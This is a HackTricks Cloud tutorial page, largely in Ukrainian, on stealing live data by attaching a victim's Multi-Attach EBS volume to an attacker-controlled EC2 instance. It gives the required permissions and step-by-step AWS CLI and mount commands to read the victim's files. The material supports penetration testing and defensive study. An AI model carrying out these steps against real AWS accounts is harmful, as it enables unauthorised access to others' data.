AWS - Live Data Theft via EBS Multi-Attach
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Резюме
Зловживати EBS Multi-Attach, щоб читати з живого тома даних io1/io2 шляхом приєднання того ж тому до attacker-controlled instance в тій же Availability Zone (AZ). Монтування спільного тому тільки для читання дає негайний доступ до файлів, що використовуються, без створення snapshots.
Вимоги
- Цільовий том: io1 або io2, створений з
--multi-attach-enabledв тій же AZ, що й attacker instance. - Дозволи:
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancesна цільовому томі/екземплярах. - Інфраструктура: Nitro-based instance types, які підтримують Multi-Attach (C5/M5/R5 families, etc.).
Примітки
- Монтуйте в режимі лише для читання з
-o ro,noload, щоб зменшити ризик пошкодження і уникнути повторного відтворення журналу. - На Nitro екземплярах EBS NVMe пристрій надає стабільний шлях
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...(допоміжний матеріал нижче).
Підготуйте Multi-Attach io2 том і приєднайте до victim
Приклад (створити в us-east-1a і приєднати до victim):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
На жертві відформатуйте/змонтуйте новий том і запишіть чутливі дані (ілюстративно):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Підключіть той самий volume до attacker instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Mount read-only на attacker та read data
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Очікуваний результат: той самий VOL_ID відображає кілька Attachments (victim and attacker), і attacker може читати файли, записані victim, без створення snapshot.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Допомога: знайти шлях NVMe-пристрою за Volume ID
На Nitro інстансах використовуйте стабільний шлях by-id, який містить Volume ID (видаліть дефіс після vol):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Вплив
- Негайний доступ для читання до живих даних на цільовому EBS-томі без створення snapshots.
- Якщо змонтовано з правами читання‑запису, атакувальник може змінити файлову систему жертви (ризик пошкодження).
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud